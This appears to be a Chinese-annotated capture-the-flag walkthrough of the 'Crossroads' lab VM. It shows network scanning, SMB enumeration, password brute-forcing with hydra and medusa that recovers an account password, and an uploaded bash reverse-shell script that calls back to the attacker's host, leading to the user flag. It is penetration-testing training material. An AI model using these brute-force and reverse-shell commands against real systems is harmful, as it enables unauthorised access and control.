3 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 3.111 seconds (82.29 hosts/sec). 3 responded
┌──(kali㉿kali)-[~] └─$ nmap 192.168.56.119 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-29 07:41 EDT Nmap scan report for 192.168.56.119 Host is up (0.0010s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE 80/tcp open http 139/tcp open netbios-ssn 445/tcp open microsoft-ds
Nmap done: 1 IP address (1 host up) scanned in 0.16 seconds
===========================( Enumerating Workgroup/Domain on 192.168.56.119 )===========================
[+] Got domain/workgroup name: WORKGROUP
===============================( Nbtstat Information for 192.168.56.119 )===============================
Looking up status of 192.168.56.119 CROSSROADS <00> - B <ACTIVE> Workstation Service CROSSROADS <03> - B <ACTIVE> Messenger Service CROSSROADS <20> - B <ACTIVE> File Server Service ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name WORKGROUP <1d> - B <ACTIVE> Master Browser WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections
MAC Address = 00-00-00-00-00-00
==================================( Session Check on 192.168.56.119 )==================================
[+] Server 192.168.56.119 allows sessions using username '', password ''
===============================( Getting domain SID for 192.168.56.119 )===============================
Domain Name: WORKGROUP Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup ==================================( OS information on 192.168.56.119 )================================== [E] Can't get OS info with smbclient
[+] Got OS info for 192.168.56.119 from srvinfo: CROSSROADS Wk Sv PrQ Unx NT SNT Samba 4.9.5-Debian ##服务版本信息 platform_id : 500 os version : 6.1 server type : 0x809a03
======================================( Users on 192.168.56.119 )======================================
index: 0x1 RID: 0x3e9 acb: 0x00000010 Account: albert Name: Desc:
user:[albert] rid:[0x3e9]
================================( Share Enumeration on 192.168.56.119 )================================
Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers smbshare Disk IPC$ IPC IPC Service (Samba 4.9.5-Debian) Reconnecting with SMB1 for workgroup listing.
Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers smbshare Disk IPC$ IPC IPC Service (Samba 4.9.5-Debian) Reconnecting with SMB1 for workgroup listing.
Server Comment --------- -------
Workgroup Master --------- ------- WORKGROUP CROSSROADS ┌──(kali㉿kali)-[~] └─$ smbclient //192.168.56.119/smbshare Password for [WORKGROUP\kali]: tree connect failed: NT_STATUS_ACCESS_DENIED ┌──(kali㉿kali)-[~] └─$ smbclient //192.168.56.119/print$ Password for [WORKGROUP\kali]: tree connect failed: NT_STATUS_ACCESS_DENIED
既然不给访问那就尝试爆破smb服务
1 2 3 4 5 6 7 8 9 10 11 12 13 14
┌──(kali㉿kali)-[~/temp/corssroad] └─$ nmap --script smb-brute -p 445 192.168.56.119 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-29 08:47 EDT Nmap scan report for 192.168.56.119 Host is up (0.0014s latency).
PORT STATE SERVICE 445/tcp open microsoft-ds
Host script results: | smb-brute: |_ No accounts found
Nmap done: 1 IP address (1 host up) scanned in 34.75 seconds
┌──(kali㉿kali)-[~/temp/corssroad] └─$ hydra -l albert -P /usr/share/wordlists/rockyou.txt 192.168.56.119 smb -I Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-29 10:23:22 [INFO] Reduced number of tasks to 1 (smb does not like parallel connections) [WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 1 task per 1 server, overall 1 task, 14344399 login tries (l:1/p:14344399), ~14344399 tries per task [DATA] attacking smb://192.168.56.119:445/ [STATUS] 5626.00 tries/min, 5626 tries in 00:01h, 14338773 to doin 42:29h, 1 active [STATUS] 5668.67 tries/min, 17006 tries in 00:03h, 14327393 to doin 42:08h, 1 active ^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session. ┌──(kali㉿kali)-[~/temp/corssroad] └─$ medusa -u albert -P /usr/share/wordlists/rockyou.txt -M smbnt -h 192.168.56.119 -t 10 Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net> ACCOUNT FOUND: [smbnt] Host: 192.168.56.119 User: albert Password: bradley1 [SUCCESS (ADMIN$ - Share Unavailable)] ##bradley1这个就是密码 ACCOUNT CHECK: [smbnt] Host: 192.168.56.119 (1 of 1, 0 complete) User: albert (1 of 1, 1 complete) Password: peaceout (3859 of 14344391 complete)
真的,那个时候我人都麻了,有密码那就啥都好解决了,smbclient连一下
1 2 3 4 5 6 7 8 9 10 11
┌──(kali㉿kali)-[~/temp/corssroad] └─$ smbclient //192.168.56.119/smbshare -U albert%bradley1 Try "help" to get a list of possible commands. smb: \> dir . D 0 Tue Mar 2 17:16:13 2021 .. D 0 Tue Mar 2 18:16:15 2021 smb.conf N 8779 Tue Mar 2 17:14:54 2021
4000320 blocks of size 1024. 3759668 blocks available smb: \> get smb.conf getting file \smb.conf of size 8779 as smb.conf (659.5 KiloBytes/sec) (average 659.5 KiloBytes/sec)
┌──(kali㉿kali)-[~/temp/corssroad] └─$ vim smbscript.sh #!/bin/bash bash -c 'bash -i >& /dev/tcp/192.168.56.102/4444 0>&1' ┌──(kali㉿kali)-[~/temp/corssroad] └─$ smbclient //192.168.56.119/smbshare -U albert%bradley1 Try "help" to get a list of possible commands. smb: \> ls . D 0 Tue Mar 2 17:16:13 2021 .. D 0 Tue Mar 2 18:16:15 2021 smb.conf N 8779 Tue Mar 2 17:14:54 2021
4000320 blocks of size 1024. 3759668 blocks available smb: \> put smbscript.sh NT_STATUS_IO_TIMEOUT closing remote file \smbscript.sh smb: \>
albert@crossroads:/home/albert/smbshare$ ls smb.conf smbscript.sh albert@crossroads:/home/albert/smbshare$ cd .. albert@crossroads:/home/albert$ ls beroot crossroads.png smbshare user.txt albert@crossroads:/home/albert$ cat user.txt 912D12370BBCEA67BF28B03BCB9AA13Falbert@crossroads:/home/albert$ albert@crossroads:/home/albert$ strings beroot bash: strings: command not found albert@crossroads:/home/albert$ ./beroot TERM environment variable not set. enter password for root -----------------------
┌──(kali㉿kali)-[~/temp/corssroad] └─$ ls -lh total 149M -rw-r--r-- 1 kali kali 17K Mar 2 2021 beroot -rw-r--r-- 1 kali kali 1.1M Mar 2 2021 crossroads.png -rw-r--r-- 1 kali kali 148M Sep 29 10:28 hydra.restore -rw-r--r-- 1 kali kali 8.6K Sep 29 10:34 smb.conf -rw-r--r-- 1 kali kali 67 Sep 29 10:53 smbscript.sh
┌──(kali㉿kali)-[~/temp/corssroad/output/keepers] └─$ for i in $(ls 17276*);do file $i;done##这里用循环遍历了一下文件名 1727685571.6234832-376557ecdfc96397933f18a9fa06d6ac: ISO-8859 text ##txt 1727685573.5237014-d666834adaa6e1029b35a828e5ad2805: MPEG ADTS, layer III, v1, 80 kbps, Monaural 1727685585.443169-e1ce81f59bae613c2f1da5638116856b: ISO-8859 text, with very long lines (65536), with no line terminators 1727685585.4457736-6f34bd16842be44659d0d876d0dfcf83: ISO-8859 text, with very long lines (65536), with no line terminators 1727685586.6834607-0297ec6580ecff58ccad5bbbe59bc5f2: MPEG ADTS, layer III, v2, 144 kbps, 16 kHz, Stereo 1727685587.4973614-1359e22a94d0df136966babb5e668a92: ISO-8859 text, with very long lines (65536), with no line terminators 1727685587.516955-8b932127cc380ecfc9a2bb37d3896491: MPEG ADTS, layer II, v1, 32 kHz, JntStereo 1727685587.8059962-10e141f3ee9187bb1106553195c0748c: ISO-8859 text, with very long lines (65536), with no line terminators 1727685588.4770668-b5d7a9c793e9cf4b839d0758691571e9: ISO-8859 text, with very long lines (65536), with no line terminators 1727685589.0947762-af9f70f7a4b8c74ff55143e60dbb9438: ISO-8859 text, with very long lines (65536), with no line terminators 1727685590.2928293-c21199fd764f0323e5a34532f88c51af: ISO-8859 text, with very long lines (65536), with no line terminators 1727685590.3163085-912a2e1251f29a2988cd930af38f3fa6: ISO-8859 text ##txt 1727685593.3104098-fa51a28691a55bf95997aee4dc82e84f: ISO-8859 text, with very long lines (65536), with no line terminators 1727685609.7496212-7cec4317951424c2c802d0fbe9e32556: PNG image data, 1106 x 876, 8-bit/color RGBA, non-interlaced ┌──(kali㉿kali)-[~/temp/corssroad/output/keepers] └─$ head 1727685571.6234832-376557ecdfc96397933f18a9fa06d6ac lakers1 girls bob123 babypink 12369874 tiago shanna monroe leilani larry ┌──(kali㉿kali)-[~/temp/corssroad/output/keepers] └─$ head 1727685590.3163085-912a2e1251f29a2988cd930af38f3fa6 lakers1 girls bob123 babypink 12369874 tiago shanna monroe leilani larry ┌──(kali㉿kali)-[~/temp/corssroad/output/keepers] └─$ diff 1727685571.6234832-376557ecdfc96397933f18a9fa06d6ac 1727685590.3163085-912a2e1251f29a2988cd930af38f3fa6